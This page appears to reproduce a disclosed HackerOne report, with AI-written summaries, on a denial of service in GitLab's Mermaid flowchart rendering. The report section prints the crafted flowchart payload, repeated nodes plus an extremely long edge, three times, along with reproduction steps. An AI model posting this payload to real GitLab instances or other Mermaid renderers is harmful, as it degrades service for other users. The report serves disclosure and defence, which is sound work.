Skip to content
DoS Disclosed report Beginner

DOS via Flowchart TB Mermaid

A denial-of-service vulnerability was found in GitLab's Mermaid flowchart rendering. An attacker could add a specially crafted comment containing a flowchart with many repeated nodes and a long edge label, causing the page to load slowly and consume 100% CPU.

GitLab

Originally disclosed on GitLab

  • Fixed in 3 months
  • Disclosed after 3 months

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2137421 by toukakirishima on 2023-09-06, assigned to @ottilia_westerlund:

Report | Attachments | How To Reproduce

Report

Summary

I found a DOS vulnerability when add comment with Flowchart TB Mermaid, as an attacker I can make DoS in any section with comments (Issues, Merge requests, Milestones, Snippets, Wiki pages, Markdown documents inside repositories, Epics). And it takes a while to load, and uses 100% CPU.

My specification :
RAM : 40 GB
CPU : 12 CPUs 3.6 GHz AMD Ryzen 5 2600X
Browser : Mozilla Firefox & Google Chrome (Latest Version)

Steps to reproduce
  1. Create comment with Flowchart TB Mermaid (example on Issue)

Payload :

flowchart TB  
    A & A & A & A & A & A & A & A ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------->  C & D & E & F & G & H & I & J & K & L & M & N & O & P & Q & R & S & T & U & V & W & X & Y & Z

flowchart TB  
    A & A & A & A & A & A & A & A ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------->  C & D & E & F & G & H & I & J & K & L & M & N & O & P & Q & R & S & T & U & V & W & X & Y & Z

flowchart TB  
    A & A & A & A & A & A & A & A ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------->  C & D & E & F & G & H & I & J & K & L & M & N & O & P & Q & R & S & T & U & V & W & X & Y & Z  
image.png
image.png From the original on GitLab
  1. Reload the page. And you will load the page very long.
image.png
image.png From the original on GitLab
POC
bandicam_2023-09-06_14-54-12-196.mp4 From the original on GitLab
Output of checks

This bug happens on GitLab.com

Impact

Attacker can make DoS in any section with comments (Issues, Merge requests, Milestones, Snippets, Wiki pages, Markdown documents inside repositories, Epics).

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the Mermaid flowchart renderer does not limit the complexity of diagrams, so a diagram with many repeated nodes and a very long edge label causes excessive computation.

Impact

An attacker could cause a denial of service in any section with comments, making pages load very slowly and using 100% CPU.

What the attacker needed

Ability to post a comment

How it was found

  1. Create a comment containing a Mermaid flowchart with repeated nodes and a long edge label.
  2. Reload the page and observe that it takes a very long time to load.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This report describes a way to make a website slow or unresponsive by posting a comment with a special diagram. The diagram is written in Mermaid, a tool that turns text into flowcharts. When the page tries to draw the diagram, it uses all the computer's processing power, so the page takes a very long time to load.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.